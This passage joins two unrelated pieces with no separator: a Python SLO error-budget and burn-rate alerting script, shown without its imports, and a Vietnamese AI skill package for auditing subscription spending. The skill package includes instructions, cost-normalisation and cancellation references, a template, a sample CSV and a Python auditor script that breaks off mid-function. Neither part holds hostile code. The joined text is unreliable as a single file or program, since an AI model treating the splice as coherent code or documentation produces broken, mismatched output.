POLICY = [
# (severity, long window, short window, budget share)
("page", "1h", "5m", 0.02),
("page", "6h", "30m", 0.05),
("ticket", "1d", "2h", 0.10),
("ticket", "3d", "6h", 0.10),
]
ALIASES = {
"ts": ("timestamp", "time", "ts", "date", "datetime"),
"total": ("total", "requests", "count", "events"),
"good": ("good", "success", "ok", "successes"),
"bad": ("bad", "errors", "failed", "failures", "error"),
}
class SLOError(ValueError):
pass
def parse_duration(s):
m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
if not m:
raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]
def fmt_dur(sec):
sec = int(round(sec))
if sec >= 86400:
d, h = divmod(sec // 3600, 24)
return f"{d}d {h}h" if h else f"{d}d"
if sec >= 3600:
h, m = divmod(sec // 60, 60)
return f"{h}h {m}m" if m else f"{h}h"
if sec >= 60:
m, s = divmod(sec, 60)
return f"{m}m {s}s" if s else f"{m}m"
return f"{sec}s"
def parse_ts(v):
v = v.strip()
if re.fullmatch(r"\d+(\.\d+)?", v):
return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.astimezone(dt.timezone.utc)
def load_rows(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise SLOError("empty CSV")
cols = {}
lower = {f.strip().lower(): f for f in rd.fieldnames}
for key, names in ALIASES.items():
for n in names:
if n in lower:
cols[key] = lower[n]
break
if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
rows = []
for i, r in enumerate(rd, 2):
try:
ts = parse_ts(r[cols["ts"]])
total = int(float(r[cols["total"]]))
bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
except (ValueError, TypeError) as e:
raise SLOError(f"line {i}: {e}")
if total < 0 or bad < 0 or bad > total:
raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
rows.append((ts, total, bad))
if len(rows) < 2:
raise SLOError("need at least two rows")
rows.sort(key=lambda r: r[0])
return rows
def analyze(rows, slo_pct, window, now=None, policy=POLICY):
if not 0 < slo_pct < 100:
raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
budget = 1 - slo_pct / 100
win = parse_duration(window)
diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
step = statistics.median(diffs)
if step <= 0:
raise SLOError("duplicate timestamps")
first = rows[0][0]
end = (now or rows[-1][0] + dt.timedelta(seconds=step))
covered = (end - first).total_seconds()
expected_rows = int(round(covered / step))
missing = max(0, expected_rows - len(rows))
def window_stats(seconds):
seconds = max(seconds, step)
if seconds > covered + 1e-6:
return None
start = end - dt.timedelta(seconds=seconds)
tot = sum(t for ts, t, b in rows if start <= ts < end)
bad = sum(b for ts, t, b in rows if start <= ts < end)
rate = bad / tot if tot else 0.0
return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}
total = sum(r[1] for r in rows)
bad = sum(r[2] for r in rows)
req_per_sec = total / covered
expected_window_total = req_per_sec * win
allowed_bad = budget * expected_window_total
consumed = bad / allowed_bad if allowed_bad else 0.0
alerts = []
for sev, lw, sw, share in policy:
thr = share * win / parse_duration(lw)
L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
if L is None or S is None:
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
"long_burn": None, "short_burn": None})
continue
fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
"status": "FIRING" if fires else "ok",
"long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
burn = {}
for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
s = window_stats(parse_duration(w))
burn[w] = None if s is None else s["burn_rate"]
remaining_bad = allowed_bad - bad
exhaust = {}
for w in ("1h", "6h", "1d"):
s = window_stats(parse_duration(w))
if s and s["bad"] > 0 and remaining_bad > 0:
exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
elif s:
exhaust[w] = 0.0 if remaining_bad <= 0 else None
worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
return {
"slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
"data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
"rows": len(rows), "missing_intervals": missing,
"total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
"allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
"allowed_downtime_seconds": budget * win,
"burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
"worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
"error_rate": worst[2] / worst[1] if worst[1] else 0.0},
}
def allowance_table(slo_pct, window):
win = parse_duration(window)
b = 1 - slo_pct / 100
return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
"per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
"thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
for s, l, sh, sha in POLICY]}
def to_markdown(r):
pct = lambda x: f"{100 * x:.1f}%"
out = [f"# SLO error budget report", "",
f"**SLO:** {r['slo_percent']}% over {r['window']} **Data:** {r['data_start']} to {r['data_end']} "
f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
f"**SLI over data:** {r['sli_percent']:.4f}% ({r['bad']:,} bad of {r['total']:,})",
f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
f"**Consumed so far:** {pct(r['budget_consumed'])} **Remaining:** {pct(r['budget_remaining'])}", "",
"## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
for w, v in r["burn_rates"].items():
out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
"|---|---|---|---|---|---|"]
for a in r["alerts"]:
lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
out += ["", "## Time to exhaustion at recent burn"]
for w, s in r["exhaustion_seconds"].items():
out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
wi = r["worst_interval"]
out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)
def series(n, step_min, total, bad_fn):
return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]
ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
a = allowance_table(99.9, "30d")
ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
flat = series(4 * 24 * 4, 15, 10000, lambda i: 10) # 0.1% errors at 99.9 -> burn 1.0
r = analyze(flat, 99.9, "30d")
ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5) # last hour 2% errors
r = analyze(spike, 99.9, "30d")
ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
r = analyze(recovered, 99.9, "30d")
ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
short = series(8, 15, 1000, lambda i: 0)
r = analyze(short, 99.9, "30d")
ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
gap = flat[:10] + flat[12:]
ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
(["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
(["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
try:
load_rows(data)
ok(label, False)
except SLOError:
ok(label, True)
try:
analyze(flat, 100, "30d")
ok("SLO 100 rejected", False)
except SLOError:
ok("SLO 100 rejected", True)
ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.allowance:
t = allowance_table(a.slo, a.window)
if a.json:
print(json.dumps(t, indent=2))
else:
print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
for x in t["thresholds"]:
print(f" {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
return 0
if not a.file:
ap.error("CSV file required (or --allowance / --self-test)")
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
except (OSError, SLOError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
return 1 if paging or r["budget_remaining"] <= 0 else 0
if __name__ == "__main__":
sys.exit(main())Kiểm toán các gói đăng ký định kỳ (phát trực tuyến, ứng dụng, phòng tập gym, lưu trữ đám mây, tin tức) từ một tệp CSV đơn giản: chi phí thực tế hàng tháng và hàng năm theo một loại tiền tệ duy nhất, phần chi phí của bạn trong các gói gia đình, các khoản gia hạn và chuyển đổi dùng thử trong 30 ngày tới, các dịch vụ không sử dụng, các dịch vụ trùng lặp trong cùng một danh mục, các đợt tăng giá và các gói theo năm giúp tiết kiệm tiền. Kết thúc bằng danh sách hành động hủy/giữ/hạ cấp. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.
---
name: subscription-spending-auditor
description: Kiểm toán các gói đăng ký định kỳ (phát trực tuyến, ứng dụng, phòng tập gym, lưu trữ đám mây, tin tức) từ một tệp CSV đơn giản: chi phí thực tế hàng tháng và hàng năm theo một loại tiền tệ duy nhất, phần chi phí của bạn trong các gói gia đình, các khoản gia hạn và chuyển đổi dùng thử trong 30 ngày tới, các dịch vụ không sử dụng, các dịch vụ trùng lặp trong cùng một danh mục, các đợt tăng giá và các gói theo năm giúp tiết kiệm tiền. Kết thúc bằng danh sách hành động hủy/giữ/hạ cấp. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.
---
# Trình Kiểm Toán Chi Tiêu Đăng Ký Định Kỳ
Bạn giúp mọi người nhìn rõ chi phí thực sự của các gói đăng ký định kỳ và quyết định nên giữ lại dịch vụ nào. Bạn chuyển các dòng sao kê ngân hàng, biên lai kho ứng dụng hoặc một danh sách sơ bộ thành một bảng duy nhất, quy đổi mọi khoản phí sang cùng một loại tiền tệ cũng như số tiền hàng tháng và hàng năm, đồng thời chỉ ra những điểm dễ dàng tối ưu: các dịch vụ không ai dùng đến, ba dịch vụ xem video trong khi chỉ cần một là đủ, các gói dùng thử sắp chuyển thành gói trả phí, những đợt tăng giá âm thầm, và các gói trả theo năm rẻ hơn nếu đằng nào cũng giữ lại dịch vụ đó. Người dùng là người ra quyết định; bạn giúp làm rõ các sự đánh đổi.
## Các tệp trong kỹ năng này
- `scripts/sub_audit.py` - đọc tệp CSV danh sách gói đăng ký và in ra tổng chi phí, phần chi phí của bạn trong các gói dùng chung, tổng chi phí theo danh mục, các khoản phí sắp tới và các cờ cảnh báo (TRIAL, RENEWS_YEARLY, UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES) (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/cost-normalization.md` - cách quy đổi các chu kỳ, tiền tệ, gói dùng chung, gói dùng thử và thay đổi giá, kèm theo công thức tính
- `references/cancellation-playbook.md` - cách hủy, tạm dừng, hạ cấp hoặc thương lượng giá, và cách tránh bị gia hạn bất ngờ
- `templates/subscription-review.md` - bản đánh giá gói gọn trong một trang bao gồm các quyết định và lời nhắc
- `examples/subscriptions.csv` - 12 gói đăng ký mẫu bằng đồng EUR và USD với các chu kỳ hàng tuần, hàng tháng, hàng quý và hàng năm, một gói gia đình dùng chung, một gói dùng thử, các dịch vụ không sử dụng và các đợt tăng giá
## Quy trình làm việc
### 1. Lập danh sách
Yêu cầu người dùng rà soát sao kê ngân hàng và thẻ trong 12 tháng qua, các gói đăng ký trên App Store và Google Play, các khoản thanh toán tự động qua PayPal và biên lai trong email (tìm kiếm các từ khóa "renewal", "subscription", "receipt", "trial"). Đưa từng mục vào định dạng CSV giống như `examples/subscriptions.csv`. Các cột bắt buộc: name, amount, cycle. Các cột hữu ích: currency, next_renewal, category, last_used (ước tính trung thực là được), users (số người dùng chung gói), trial_end và paid_after_trial, previous_amount, annual_price.
### 2. Chạy trình kiểm toán
```
python3 scripts/sub_audit.py examples/subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 scripts/sub_audit.py subs.csv --currency USD --rate EUR=1.08 --rate GBP=1.27 --days 45 --unused-days 60
python3 scripts/sub_audit.py subs.csv --json > audit.json
python3 scripts/sub_audit.py --self-test
```
Tỷ giá được tính theo quy tắc "1 đơn vị tiền tệ đó = X đơn vị tiền tệ báo cáo"; hãy sử dụng tỷ giá trên sao kê thẻ của người dùng. Mã thoát (exit code) bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ (chu kỳ không xác định, thiếu tỷ giá, ngày tháng sai định dạng, số tiền âm).
### 3. Duyệt qua danh sách hành động
Thứ tự ưu tiên chú ý: TRIAL (hạn chót gần nhất), RENEWS_YEARLY (sắp phát sinh một khoản phí lớn), UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES. Đối với mỗi mục, hãy đặt một câu hỏi: "Hôm nay bạn có sẵn sàng đăng ký mới dịch vụ này với mức giá này không?" Đề xuất hủy, tạm dừng, hạ cấp, chia sẻ gói, hoặc chuyển sang gói năm (chỉ áp dụng cho các dịch vụ mà họ chắc chắn sẽ duy trì trong 12 tháng).
### 4. Hành động an toàn
Sử dụng `references/cancellation-playbook.md`. Hủy thông qua trang tài khoản chính thức hoặc kho ứng dụng, chụp màn hình xác nhận và đặt lời nhắc lịch trước 3 ngày khi kết thúc dùng thử cũng như khi gia hạn hàng năm.
### 5. Tóm tắt
Điền vào `templates/subscription-review.md`: tổng chi phí hàng tháng và hàng năm trước và sau khi điều chỉnh, các quyết định đã đưa ra và ngày nhắc nhở.
## Kết quả ví dụ
Đối với `examples/subscriptions.csv` với tỷ giá USD=0.92 vào ngày 2026-10-20: 136.65 EUR/tháng (1,639.80 EUR/năm), phần chi phí của người dùng là 112.66 EUR/tháng, 699.49 EUR/năm nằm ở bốn dịch vụ không sử dụng, một gói dùng thử DesignPro sẽ chuyển đổi vào ngày 2026-10-25 thành 22.99 EUR/tháng, một khoản gia hạn CloudVault trị giá 99.99 EUR vào ngày 2026-11-05, ba dịch vụ video trùng lặp, ba đợt tăng giá trị giá 108 EUR/năm, và 237.87 EUR các khoản phí sẽ phát sinh trong 30 ngày tới.
## Quy tắc
- Không bao giờ hỏi số thẻ, thông tin đăng nhập ngân hàng hoặc mật khẩu; chỉ cần số tiền và ngày tháng là đủ.
- Không tự ý hủy bất kỳ dịch vụ nào hoặc liên hệ với nhà cung cấp thay cho người dùng trừ khi họ yêu cầu; thay vào đó hãy soạn sẵn nội dung tin nhắn cho họ.
- Giữ thái độ khách quan, không phán xét: một số gói đăng ký hoàn toàn xứng đáng với chi phí bỏ ra. Hãy trình bày chi phí và để người dùng tự lựa chọn.
- Các gói dùng thử được tính là 0 trong tổng chi phí hiện tại; luôn hiển thị mức phí sẽ phát sinh sau khi chuyển đổi sang gói trả phí.
FILE:references/cost-normalization.md
# Chuẩn Hóa Chi Phí
## Số lần thu phí mỗi tháng theo chu kỳ
| Chu kỳ | Số lần thu phí mỗi tháng | Chi phí hàng năm cho mức phí 10.00 |
|---|---|---|
| weekly | 4.348125 (365.25 / 12 / 7) | 521.78 |
| biweekly | 2.1740625 | 260.89 |
| monthly | 1 | 120.00 |
| quarterly | 1/3 | 40.00 |
| semiannual | 1/6 | 20.00 |
| yearly | 1/12 | 10.00 |
| every N days | 30.436875 / N | |
chi phí hàng tháng = mức phí x tỷ giá x số lần thu phí mỗi tháng; chi phí hàng năm = chi phí hàng tháng x 12. Việc làm tròn đến hàng xu chỉ thực hiện ở bước cuối cùng để tổng số không bị lệch.
## Tiền tệ
- Sử dụng một loại tiền tệ báo cáo duy nhất và một tỷ giá cho mỗi ngoại tệ, ví dụ: `--rate USD=0.92` (1 USD = 0.92 EUR).
- Nguồn tốt nhất: lấy số tiền đã quy đổi trên sao kê thẻ chia cho số tiền gốc. Con số này đã bao gồm biên độ tỷ giá ngoại hối (FX margin) của thẻ.
- Đề cập riêng các khoản phí giao dịch ngoại tệ nếu thẻ có thu thêm (thường từ 1-3%).
## Gói dùng chung
- `users` = số người cùng chia sẻ gói. Phần của bạn = chi phí / users.
- Hiển thị cả toàn bộ chi phí (số tiền thẻ phải thanh toán) và phần của bạn (số tiền thực tế bạn chịu sau khi những người khác hoàn trả lại). Nếu những người khác thực tế không trả tiền, hãy dùng users = 1.
## Gói dùng thử
- Một gói dùng thử có amount bằng 0, kèm theo `trial_end` và `paid_after_trial`. Các khoản phí phát sinh vào hoặc sau ngày `trial_end` sẽ sử dụng số tiền trả phí trong danh sách các khoản phí sắp tới.
- Tổng chi phí hiển thị chi phí ngày hôm nay (bằng 0) để người dùng thấy điều gì sẽ thay đổi nếu họ không làm gì cả: cờ TRIAL sẽ cho biết mức giá hàng tháng và hàng năm sau khi chuyển đổi.
## Thay đổi giá
- `previous_amount` = mức giá trước đợt tăng giá gần nhất. Tác động hàng năm = (mức mới - mức cũ) x tỷ giá x số lần thu phí mỗi tháng x 12.
- Các nhà cung cấp thường thông báo tăng giá qua email trước 30 ngày; hãy tìm kiếm cụm từ "price change" và "new price".
## Gói năm so với gói tháng
- Gói trả theo năm chỉ giúp tiết kiệm tiền nếu đằng nào dịch vụ đó cũng được duy trì trong suốt 12 tháng. Khoản tiết kiệm = chi phí hàng tháng x 12 - giá gói năm.
- Các gói trả theo năm thường không được hoàn tiền sau một khoảng thời gian ngắn ban đầu; chỉ nên chuyển sang gói năm đối với các dịch vụ được sử dụng hàng tuần.
## Ngày gia hạn
- Nếu `next_renewal` nằm trong quá khứ, ngày này sẽ được cộng dồn theo chu kỳ cho đến khi trùng với ngày hôm nay hoặc một ngày trong tương lai.
- Các ngày cuối tháng sẽ được giới hạn theo số ngày thực tế của tháng: một gói gia hạn vào ngày 31 sẽ gia hạn vào ngày 28 (hoặc 29) tháng 2, sau đó vào ngày 28 hoặc 31 tùy thuộc vào nhà cung cấp; hãy kiểm tra biên lai.
FILE:references/cancellation-playbook.md
# Cẩm Nang Hủy và Hạ Cấp Dịch Vụ
## Nơi thực hiện hủy
| Thanh toán qua | Nơi thực hiện hủy |
|---|---|
| Apple App Store | Settings > tên của bạn > Subscriptions |
| Google Play | Play Store > hồ sơ > Payments & subscriptions > Subscriptions |
| PayPal | Settings > Payments > Manage automatic payments (dừng thanh toán, đồng thời hãy hủy cả bên phía nhà cung cấp) |
| Trực tiếp với dịch vụ | Trang tài khoản hoặc thanh toán trên website; một số dịch vụ yêu cầu nhắn tin hỗ trợ hoặc gọi điện thoại |
| Nhà mạng di động hoặc gói truyền hình | Tài khoản nhà mạng hoặc tổng đài hỗ trợ |
Việc xóa ứng dụng không làm hủy gói đăng ký của ứng dụng đó.
## Các bước thực hiện
1. Kiểm tra ngày gia hạn và xem việc hủy sẽ chấm dứt quyền truy cập ngay lập tức hay vào cuối kỳ thanh toán (thường là cuối kỳ).
2. Xuất mọi dữ liệu bạn muốn giữ lại (ảnh, danh sách phát, ghi chú, lịch sử tập luyện).
3. Hủy qua kênh chính thức nêu trên, không hủy qua các đường dẫn trong những email lạ.
4. Lưu lại bằng chứng: email xác nhận hoặc ảnh chụp màn hình có kèm ngày tháng.
5. Theo dõi kỳ sao kê tiếp theo; nếu vẫn bị trừ tiền sau khi đã hủy, hãy khiếu nại với nhà cung cấp trước, sau đó mới làm việc với bên phát hành thẻ.
## Các lựa chọn thay thế cho việc hủy
- **Tạm dừng (Pause)** (phòng gym, gói nguyên liệu nấu ăn, một số dịch vụ phát trực tuyến) vào những tháng đi du lịch hoặc bận rộn.
- **Hạ cấp (Downgrade)** xuống gói có quảng cáo, gói một màn hình hoặc gói dung lượng lưu trữ nhỏ hơn.
- **Luân phiên (Rotate)** các dịch vụ phát trực tuyến: chỉ giữ một dịch vụ tại một thời điểm và đổi sang dịch vụ khác theo từng tháng để xem các chương trình bạn muốn.
- **Chia sẻ (Share)** gói gia đình với các thành viên trong hộ gia đình, trong phạm vi điều khoản của nhà cung cấp.
- **Yêu cầu (Ask)** ưu đãi giữ chân khách hàng: nhiều dịch vụ sẽ đưa ra mức giảm giá khi bạn bắt đầu thao tác hủy. Hãy xác định trước mức giá tối đa bạn chấp nhận trả trước khi thương lượng.
## Gói dùng thử
- Đặt lời nhắc trước ngày `trial_end` từ 2-3 ngày; nhiều gói dùng thử cho phép hủy ngay sau khi đăng ký mà vẫn giữ nguyên thời gian dùng thử còn lại.
- Sử dụng thẻ ảo có giới hạn hạn mức hoặc thẻ chỉ thanh toán cho một đơn vị chấp nhận thẻ đối với các gói dùng thử nếu ngân hàng có hỗ trợ.
## Mẫu tin nhắn (chat hỗ trợ hoặc email)
> Xin chào, vui lòng hủy gói đăng ký <service> của tôi trên tài khoản <email> có hiệu lực vào cuối kỳ thanh toán hiện tại, và xác nhận qua email rằng sẽ không có khoản phí nào phát sinh thêm. Xin cảm ơn.
## Những thói quen giúp kiểm soát chi phí
- Rà soát lại các gói đăng ký mỗi quý bằng kỹ năng này.
- Duy trì một lịch duy nhất ghi lại tất cả các ngày gia hạn hàng năm.
- Trước khi đăng ký mới, hãy tự hỏi: mình có dùng dịch vụ này ít nhất mỗi tuần một lần không?
FILE:templates/subscription-review.md
# Đánh Giá Gói Đăng Ký - <name> - <date>
**Tiền tệ báo cáo:** <EUR> **Tỷ giá:** <1 USD = 0.92 EUR (sao kê thẻ)>
**Trước khi điều chỉnh:** <monthly> /tháng = <yearly> /năm (phần của bạn <monthly> /tháng)
**Sau khi quyết định:** <monthly> /tháng = <yearly> /năm **Tiết kiệm mỗi năm:** <amount>
## Các quyết định
| Gói đăng ký | Chi phí mỗi năm | Cờ cảnh báo | Quyết định | Hoàn thành |
|---|---|---|---|---|
| | | | giữ / hủy / tạm dừng / hạ cấp / chuyển sang gói năm | [ ] |
## Hạn chót và lời nhắc
| Ngày | Nội dung | Đã đặt lời nhắc |
|---|---|---|
| | hết hạn dùng thử | [ ] |
| | gia hạn hàng năm | [ ] |
## Các khoản phí trong 30 ngày tới
- <date> <name> <amount>
## Ghi chú
- Gói dùng chung: <ai hoàn trả lại khoản nào>
- Các đợt tăng giá ghi nhận được: <dịch vụ giá cũ -> giá mới>
- Lần đánh giá tiếp theo: <ngày, khoảng 3 tháng kể từ bây giờ>
FILE:examples/subscriptions.csv
name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial
StreamFlix Premium,17.99,EUR,monthly,2026-10-27,Video streaming,2026-10-18,2,,15.99,,
CineBox,8.99,EUR,monthly,2026-11-03,Video streaming,2026-08-02,1,,,89.90,
AnimeNow,6.49,USD,monthly,2026-10-22,Video streaming,2026-07-15,1,,,,
TuneWave Family,19.99,EUR,monthly,2026-11-10,Music,2026-10-19,4,,16.99,,
CloudVault 2 TB,99.99,EUR,yearly,2026-11-05,Cloud storage,2026-10-19,1,,,,
PhotoCloud 200 GB,2.99,EUR,monthly,2026-11-01,Cloud storage,2026-10-10,1,,,29.99,
FitPulse Gym,39.00,EUR,monthly,2026-11-01,Fitness,2026-09-04,1,,35.00,,
Yoga Daily App,59.99,USD,yearly,2027-03-14,Fitness,2026-10-12,1,,,,
NewsLine Digital,4.99,EUR,weekly,2026-10-23,News,2026-10-19,1,,,,
PasswordSafe,36.00,USD,yearly,2027-01-20,Software,2026-10-19,1,,,,
DesignPro Trial,0.00,USD,monthly,2026-10-25,Design,2026-10-02,1,2026-10-25,,,24.99
LangLeap Plus,12.99,EUR,quarterly,2026-12-01,Learning,2026-06-30,1,,,,
FILE:scripts/sub_audit.py
#!/usr/bin/env python3
"""Subscription spending auditor (Python 3 standard library only).
Input CSV columns (header names are case-insensitive; only name, amount, cycle are required):
name, amount, currency, cycle, next_renewal, category, last_used, users, trial_end,
previous_amount, annual_price, paid_after_trial
cycle: weekly, biweekly, monthly, quarterly, semiannual, yearly/annual, or "every N days|weeks|months|years"
(also short forms like 2w, 3m, 1y).
users: how many people share the plan; your share = amount / users (default 1).
trial_end + paid_after_trial: a free trial (amount 0) that converts to paid_after_trial on trial_end.
Reports, all converted to one currency with explicit rates (--rate USD=0.92):
monthly and yearly cost per item and in total, by category, your share of shared plans,
renewals in the next --days days (past dates are rolled forward by the cycle),
flags: UNUSED (last_used older than --unused-days), OVERLAP (several items in one category),
TRIAL (trial ends within --days; amount after trial if given), PRICE_UP (amount > previous_amount),
ANNUAL_SAVES (annual_price cheaper than 12 x monthly), RENEWS_YEARLY (a yearly charge within --days).
Usage:
python3 sub_audit.py subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 sub_audit.py subscriptions.csv --json
python3 sub_audit.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import calendar
import csv
import datetime as dt
import json
import re
import sys
from decimal import Decimal, ROUND_HALF_UP
NAMED = {"weekly": (1, "w"), "biweekly": (2, "w"), "fortnightly": (2, "w"), "monthly": (1, "m"),
"bimonthly": (2, "m"), "quarterly": (3, "m"), "semiannual": (6, "m"), "semiannually": (6, "m"),
"half-yearly": (6, "m"), "yearly": (12, "m"), "annual": (12, "m"), "annually": (12, "m")}
UNIT = {"d": "d", "day": "d", "days": "d", "w": "w", "week": "w", "weeks": "w", "m": "m", "month": "m",
"months": "m", "y": "y", "year": "y", "years": "y"}
PER_MONTH = {"d": Decimal("30.436875"), "w": Decimal("4.348125"), "m": Decimal(1), "y": Decimal(1) / 12}
D2 = Decimal("0.01")
class AuditError(ValueError):
pass
def parse_cycle(s):
s = (s or "").strip().lower()
if s in NAMED:
n, u = NAMED[s]
return n, u
m = re.fullmatch(r"(?:every\s+)?(\d+)\s*([a-z]+)", s)
if m and m.group(2) in UNIT:
n, u = int(m.group(1)), UNIT[m.group(2)]
if n <= 0:
raise AuditError(f"cycle must be positive: {s!r}")
if u == "y":
